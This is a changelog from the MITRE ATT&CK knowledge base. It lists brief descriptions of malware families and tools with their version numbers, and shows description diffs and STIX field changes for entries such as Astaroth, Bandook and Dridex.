Description: [PowerPunch](https://attack.mitre.org/software/S0685) is a lightweight downloader that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)
Current version: 1.0
Description: [ProLock](https://attack.mitre.org/software/S0654) is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with [QakBot](https://attack.mitre.org/software/S0650). [ProLock](https://attack.mitre.org/software/S0654) is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.(Citation: Group IB Ransomware September 2020)
Current version: 1.0
Description: [Pysa](https://attack.mitre.org/software/S0583) is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations.(Citation: CERT-FR PYSA April 2020)
Current version: 1.0
Description: [QakBot](https://attack.mitre.org/software/S0650) is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. [QakBot](https://attack.mitre.org/software/S0650) is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably [ProLock](https://attack.mitre.org/software/S0654) and [Egregor](https://attack.mitre.org/software/S0554).(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)
Current version: 1.0
Description: [QuietSieve](https://attack.mitre.org/software/S0686) is an information stealer that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)
Current version: 1.0
Description: [RCSession](https://attack.mitre.org/software/S0662) is a backdoor written in C++ that has been in use since at least 2018 by [Mustang Panda](https://attack.mitre.org/groups/G0129) and by [Threat Group-3390](https://attack.mitre.org/groups/G0027) (Type II Backdoor).(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Trend Micro Iron Tiger April 2021)(Citation: Trend Micro DRBControl February 2020)
Current version: 1.0
Description: [ROADTools](https://attack.mitre.org/software/S0684) is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.(Citation: ROADtools Github)
Current version: 1.1
Description: [Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [APT29](https://attack.mitre.org/groups/G0016) that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)
Current version: 1.0
Description: [RainyDay](https://attack.mitre.org/software/S0629) is a backdoor tool that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)
Current version: 1.0
Description: [RemoteUtilities](https://attack.mitre.org/software/S0592) is a legitimate remote administration tool that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021 for execution on target machines.(Citation: Trend Micro Muddy Water March 2021)
Current version: 1.0
Description: [SILENTTRINITY](https://attack.mitre.org/software/S0692) is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. [SILENTTRINITY](https://attack.mitre.org/software/S0692) was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.(Citation: GitHub SILENTTRINITY March 2022)(Citation: Security Affairs SILENTTRINITY July 2019)
Current version: 1.0
Description: [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is a remote access Trojan written in C++ that has been used by an unidentified "sophisticated cyber actor" since at least January 2017.(Citation: CISA MAR SLOTHFULMEDIA October 2020)(Citation: Costin Raiu IAmTheKing October 2020) It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.(Citation: USCYBERCOM SLOTHFULMEDIA October 2020)(Citation: Kaspersky IAmTheKing October 2020) In October 2020, Kaspersky Labs assessed [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is part of an activity cluster it refers to as "IAmTheKing".(Citation: Kaspersky IAmTheKing October 2020) ESET also noted code similarity between [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) and droppers used by a group it refers to as "PowerPool".(Citation: ESET PowerPool Code October 2020)
Current version: 1.0
Description: [SMOKEDHAM](https://attack.mitre.org/software/S0649) is a Powershell-based .NET backdoor that was first reported in May 2021; it has been used by at least one ransomware-as-a-service affiliate.(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM June 2021)
Current version: 2.2
Description: [SUNBURST](https://attack.mitre.org/software/S0559) is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)
Current version: 1.1
Description: [SUNSPOT](https://attack.mitre.org/software/S0562) is an implant that injected the [SUNBURST](https://attack.mitre.org/software/S0559) backdoor into the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: CrowdStrike SUNSPOT Implant January 2021)
Current version: 1.0
Description: [SUPERNOVA](https://attack.mitre.org/software/S0578) is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of [APT29](https://attack.mitre.org/groups/G0016)'s SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests [SUPERNOVA](https://attack.mitre.org/software/S0578) may have been used by the China-based threat group SPIRAL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: SolarWinds Advisory Dec 2020)(Citation: CISA Supernova Jan 2021)(Citation: Microsoft Analyzing Solorigate Dec 2020)
Current version: 1.0
Description: [Seth-Locker](https://attack.mitre.org/software/S0639) is a ransomware with some remote control capabilities that has been in use since at least 2021. (Citation: Trend Micro Ransomware February 2021)
Current version: 1.0
Description: [ShadowPad](https://attack.mitre.org/software/S0596) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://attack.mitre.org/groups/G0096), but has since been observed to be used by various Chinese threat activity groups. (Citation: Recorded Future RedEcho Feb 2021)(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017)
Current version: 1.1
Description: [SharpStage](https://attack.mitre.org/software/S0546) is a .NET malware with backdoor capabilities.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)
Current version: 1.0
Description: [Sibot](https://attack.mitre.org/software/S0589) is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three [Sibot](https://attack.mitre.org/software/S0589) variants in early 2021 during its investigation of [APT29](https://attack.mitre.org/groups/G0016) and the SolarWinds cyber intrusion campaign.(Citation: MSTIC NOBELIUM Mar 2021)
Current version: 1.0
Description: [SideTwist](https://attack.mitre.org/software/S0610) is a C-based backdoor that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2021.(Citation: Check Point APT34 April 2021)
Current version: 1.0
Description: [Siloscape](https://attack.mitre.org/software/S0623) is malware that targets Kubernetes clusters through Windows containers. [Siloscape](https://attack.mitre.org/software/S0623) was first observed in March 2021.(Citation: Unit 42 Siloscape Jun 2021)
Current version: 1.0
Description: [Sliver](https://attack.mitre.org/software/S0633) is an open source, cross-platform, red team command and control framework written in Golang.(Citation: Bishop Fox Sliver Framework August 2019)
Current version: 1.0
Description: [SodaMaster](https://attack.mitre.org/software/S0627) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)
Current version: 1.1
Description: [SombRAT](https://attack.mitre.org/software/S0615) is a modular backdoor written in C++ that has been in use since at least 2019. [SombRAT](https://attack.mitre.org/software/S0615) has been used to download and execute malicious payloads, including [FIVEHANDS](https://attack.mitre.org/software/S0618) ransomware.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)
Current version: 1.1
Description: [Spark](https://attack.mitre.org/software/S0543) is a Windows backdoor and has been in use since as early as 2017.(Citation: Unit42 Molerat Mar 2020)
Current version: 1.0
Description: [SpicyOmelette](https://attack.mitre.org/software/S0646) is a JavaScript based remote access tool that has been used by [Cobalt Group](https://attack.mitre.org/groups/G0080) since at least 2018.(Citation: Secureworks GOLD KINGSWOOD September 2018)
Current version: 1.1
Description: [Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Symantec W.32 Stuxnet Dossier)
Current version: 1.0
Description: [SysUpdate](https://attack.mitre.org/software/S0663) is a backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)
Current version: 1.0
Description: [TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) is a fully-featured beaconing implant integrated with command modules used by [Lazarus Group](https://attack.mitre.org/groups/G0032). It was first reported in May 2020.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)
Current version: 1.1
Description: [TEARDROP](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was likely used by [APT29](https://attack.mitre.org/groups/G0016) since at least May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)
Current version: 1.0
Description: This entry was deprecated as it was inadvertently added to Enterprise; a similar Software entry was created for ATT&CK for ICS. [TRITON](https://attack.mitre.org/software/S0609) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. [TRITON](https://attack.mitre.org/software/S0609) was deployed against at least one target in the Middle East. (Citation: FireEye TRITON 2017)(Citation: FireEye TRITON 2018)(Citation: Dragos TRISIS)(Citation: CISA HatMan)(Citation: FireEye TEMP.Veles 2018)
Current version: 1.2
Description: [ThiefQuest](https://attack.mitre.org/software/S0595) is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. [ThiefQuest](https://attack.mitre.org/software/S0595) was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links.(Citation: Reed thiefquest fake ransom) Even though [ThiefQuest](https://attack.mitre.org/software/S0595) presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)
Current version: 1.0
Description: [ThreatNeedle](https://attack.mitre.org/software/S0665) is a backdoor that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Manuscrypt (a.k.a. NukeSped) malware family.(Citation: Kaspersky ThreatNeedle Feb 2021)
Current version: 1.0
Description: [TinyTurla](https://attack.mitre.org/software/S0668) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) against targets in the US, Germany, and Afghanistan since at least 2020.(Citation: Talos TinyTurla September 2021)
Current version: 1.0
Description: [Tomiris](https://attack.mitre.org/software/S0671) is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between [Tomiris](https://attack.mitre.org/software/S0671) and [GoldMax](https://attack.mitre.org/software/S0588).(Citation: Kaspersky Tomiris Sep 2021)
Current version: 1.0
Description: [Torisma](https://attack.mitre.org/software/S0678) is a second stage implant designed for specialized monitoring that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [Torisma](https://attack.mitre.org/software/S0678) was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.(Citation: McAfee Lazarus Nov 2020)
Current version: 1.0
Description: [TrailBlazer](https://attack.mitre.org/software/S0682) is a modular malware that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2019.(Citation: CrowdStrike StellarParticle January 2022)
Current version: 1.0
Description: [Turian](https://attack.mitre.org/software/S0647) is a backdoor that has been used by [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, [Turian](https://attack.mitre.org/software/S0647) is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.(Citation: ESET BackdoorDiplomacy Jun 2021)
Current version: 1.0
Description: [VaporRage](https://attack.mitre.org/software/S0636) is a shellcode downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)
Current version: 1.0
Description: [WarzoneRAT](https://attack.mitre.org/software/S0670) is a malware-as-a-service remote access tool (RAT) written in C++ that has been publicly available for purchase since at least late 2018.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)
Current version: 1.0
Description: [WastedLocker](https://attack.mitre.org/software/S0612) is a ransomware family attributed to [Indrik Spider](https://attack.mitre.org/groups/G0119) that has been used since at least May 2020. [WastedLocker](https://attack.mitre.org/software/S0612) has been used against a broad variety of sectors, including manufacturing, information technology, and media.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020)
Current version: 1.1
Description: [Waterbear](https://attack.mitre.org/software/S0579) is modular malware attributed to [BlackTech](https://attack.mitre.org/groups/G0098) that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors.(Citation: Trend Micro Waterbear December 2019)
Current version: 1.0
Description: [Wevtutil](https://attack.mitre.org/software/S0645) is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.(Citation: Wevtutil Microsoft Documentation)
Current version: 1.0
Description: [WhisperGate](https://attack.mitre.org/software/S0689) is a multi-stage wiper designed to look like ransomware that has been used in attacks against Ukraine since at least January 2022.(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Microsoft WhisperGate January 2022)
Current version: 1.1
Description: [XCSSET](https://attack.mitre.org/software/S0658) is a macOS modular backdoor that targets Xcode application developers. [XCSSET](https://attack.mitre.org/software/S0658) was first observed in August 2020 and has been used to install a backdoor component, modify browser applications, conduct collection, and provide ransomware-like encryption capabilities.(Citation: trendmicro xcsset xcode project 2020)
Current version: 1.0
Description: [Zox](https://attack.mitre.org/software/S0672) is a remote access tool that has been used by [Axiom](https://attack.mitre.org/groups/G0001) since at least 2008.(Citation: Novetta-Axiom)
Current version: 1.0
Description: [xCaon](https://attack.mitre.org/software/S0653) is an HTTP variant of the [BoxCaon](https://attack.mitre.org/software/S0651) malware family that has used by [IndigoZebra](https://attack.mitre.org/groups/G0136) since at least 2014. [xCaon](https://attack.mitre.org/software/S0653) has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Astaroth](https://attack.mitre.org/software/S0373) is a Tro | t | 1 | [Astaroth](https://attack.mitre.org/software/S0373) is a Tro |
| > | jan and information stealer known to affect companies in Eur | > | jan and information stealer known to affect companies in Eur | ||
| > | ope and Brazil. It has been known publicly since at least la | > | ope, Brazil, and throughout Latin America. It has been known | ||
| > | te 2017. (Citation: Cybereason Astaroth Feb 2019) (Citation: | > | publicly since at least late 2017. (Citation: Cybereason As | ||
| > | Cofense Astaroth Sept 2018) | > | taroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citat | ||
| > | ion: Securelist Brazilian Banking Malware July 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:38:54.935000+00:00 | 2020-12-08 21:14:48.861000+00:00 |
| description | [Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe and Brazil. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019) (Citation: Cofense Astaroth Sept 2018) | [Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020) |
| external_references[1]['source_name'] | Cybereason Astaroth Feb 2019 | Guildma |
| external_references[1]['description'] | Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019. | (Citation: Securelist Brazilian Banking Malware July 2020) |
| external_references[2]['source_name'] | Cofense Astaroth Sept 2018 | Cybereason Astaroth Feb 2019 |
| external_references[2]['description'] | Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019. | Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019. |
| external_references[2]['url'] | https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/ | https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Cofense Astaroth Sept 2018', 'description': 'Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.', 'url': 'https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/'} | |
| external_references | {'source_name': 'Securelist Brazilian Banking Malware July 2020', 'description': 'GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.', 'url': 'https://securelist.com/the-tetrade-brazilian-banking-malware/97779/'} | |
| x_mitre_aliases | Guildma |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) i | t | 1 | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) i |
| > | s a backdoor used by [Dragonfly](https://attack.mitre.org/gr | > | s a modular backdoor that used by [Dragonfly](https://attack | ||
| > | oups/G0035). It appears to be custom malware authored by the | > | .mitre.org/groups/G0035) against energy companies since at l | ||
| > | group or specifically for it. (Citation: Symantec Dragonfly | > | east 2013. [Backdoor.Oldrea](https://attack.mitre.org/softwa | ||
| > | ) | > | re/S0093) was distributed via supply chain compromise, and i | ||
| > | ncluded specialized modules to enumerate and map ICS-specifi | ||||
| > | c systems, processes, and protocols.(Citation: Symantec Drag | ||||
| > | onfly)(Citation: Gigamon Berserk Bear October 2021)(Citation | ||||
| > | : Symantec Dragonfly Sept 2017) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:49:50.902000+00:00 | 2022-05-11 14:00:00.188000+00:00 |
| description | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a backdoor used by [Dragonfly](https://attack.mitre.org/groups/G0035). It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly) | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a modular backdoor that used by [Dragonfly](https://attack.mitre.org/groups/G0035) against energy companies since at least 2013. [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)(Citation: Symantec Dragonfly Sept 2017) |
| external_references[1]['source_name'] | Symantec Dragonfly | Gigamon Berserk Bear October 2021 |
| external_references[1]['description'] | Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. | Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021. |
| external_references[1]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf | https://vblocalhost.com/uploads/VB2021-Slowik.pdf |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Symantec Dragonfly Sept 2017', 'description': 'Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.', 'url': 'https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers'} | |
| external_references | {'source_name': 'Symantec Dragonfly', 'description': 'Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.', 'url': 'https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Bandook](https://attack.mitre.org/software/S0234) is a comm | t | 1 | [Bandook](https://attack.mitre.org/software/S0234) is a comm |
| > | ercially available RAT, written in Delphi, which has been av | > | ercially available RAT, written in Delphi and C++, that has | ||
| > | ailable since roughly 2007 (Citation: EFF Manul Aug 2016) ( | > | been available since at least 2007. It has been used against | ||
| > | Citation: Lookout Dark Caracal Jan 2018). | > | government, financial, energy, healthcare, education, IT, a | ||
| > | nd legal organizations in the US, South America, Europe, and | ||||
| > | Southeast Asia. [Bandook](https://attack.mitre.org/software | ||||
| > | /S0234) has been used by [Dark Caracal](https://attack.mitre | ||||
| > | .org/groups/G0070), as well as in a separate campaign referr | ||||
| > | ed to as "Operation Manul".(Citation: EFF Manul Aug 2016)(Ci | ||||
| > | tation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint | ||||
| > | Bandook Nov 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:08:51.834000+00:00 | 2021-10-11 19:42:14.066000+00:00 |
| description | [Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi, which has been available since roughly 2007 (Citation: EFF Manul Aug 2016) (Citation: Lookout Dark Caracal Jan 2018). | [Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. [Bandook](https://attack.mitre.org/software/S0234) has been used by [Dark Caracal](https://attack.mitre.org/groups/G0070), as well as in a separate campaign referred to as "Operation Manul".(Citation: EFF Manul Aug 2016)(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CheckPoint Bandook Nov 2020', 'description': 'Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021.', 'url': 'https://research.checkpoint.com/2020/bandook-signed-delivered/'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Bisonal](https://attack.mitre.org/software/S0268) is malwar | t | 1 | [Bisonal](https://attack.mitre.org/software/S0268) is a remo |
| > | e that has been used in attacks against targets in Russia, S | > | te access tool (RAT) that has been used by [Tonto Team](http | ||
| > | outh Korea, and Japan. It has been observed in the wild sinc | > | s://attack.mitre.org/groups/G0131) against public and privat | ||
| > | e 2014. (Citation: Unit 42 Bisonal July 2018) | > | e sector organizations in Russia, South Korea, and Japan sin | ||
| > | ce at least December 2010.(Citation: Unit 42 Bisonal July 20 | ||||
| > | 18)(Citation: Talos Bisonal Mar 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:38:49.119000+00:00 | 2022-04-18 17:18:36.512000+00:00 |
| description | [Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014. (Citation: Unit 42 Bisonal July 2018) | [Bisonal](https://attack.mitre.org/software/S0268) is a remote access tool (RAT) that has been used by [Tonto Team](https://attack.mitre.org/groups/G0131) against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020) |
| external_references[1]['description'] | (Citation: Unit 42 Bisonal July 2018) | (Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Talos Bisonal Mar 2020', 'description': 'Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022.', 'url': 'https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dok](https://attack.mitre.org/software/S0281) steals bankin | t | 1 | [Dok](https://attack.mitre.org/software/S0281) is a Trojan a |
| > | g information through man-in-the-middle (Citation: objsee m | > | pplication disguised as a .zip file that is able to collect | ||
| > | ac malware 2017). | > | user credentials and install a malicious proxy server to red | ||
| > | irect a user's network traffic (i.e. [Adversary-in-the-Middl | ||||
| > | e](https://attack.mitre.org/techniques/T1557)).(Citation: ob | ||||
| > | jsee mac malware 2017)(Citation: hexed osx.dok analysis 2019 | ||||
| > | )(Citation: CheckPoint Dok) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 19:08:28.695000+00:00 | 2021-10-12 11:26:16.316000+00:00 |
| description | [Dok](https://attack.mitre.org/software/S0281) steals banking information through man-in-the-middle (Citation: objsee mac malware 2017). | [Dok](https://attack.mitre.org/software/S0281) is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user's network traffic (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)).(Citation: objsee mac malware 2017)(Citation: hexed osx.dok analysis 2019)(Citation: CheckPoint Dok) |
| external_references[1]['description'] | (Citation: objsee mac malware 2017). | (Citation: objsee mac malware 2017) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'hexed osx.dok analysis 2019', 'description': 'fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021.', 'url': 'http://www.hexed.in/2019/07/osxdok-analysis.html'} | |
| external_references | {'source_name': 'CheckPoint Dok', 'description': 'Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.', 'url': 'https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dridex](https://attack.mitre.org/software/S0384) is a banki | t | 1 | [Dridex](https://attack.mitre.org/software/S0384) is a proli |
| > | ng Trojan that has been used for financial gain. Dridex was | > | fic banking Trojan that first appeared in 2014. By December | ||
| > | created from the source code of the Bugat banking trojan (al | > | 2019, the US Treasury estimated [Dridex](https://attack.mitr | ||
| > | so known as Cridex).(Citation: Dell Dridex Oct 2015)(Citatio | > | e.org/software/S0384) had infected computers in hundreds of | ||
| > | n: Kaspersky Dridex May 2017) | > | banks and financial institutions in over 40 countries, leadi | ||
| > | ng to more than $100 million in theft. [Dridex](https://atta | ||||
| > | ck.mitre.org/software/S0384) was created from the source cod | ||||
| > | e of the Bugat banking Trojan (also known as Cridex).(Citati | ||||
| > | on: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 201 | ||||
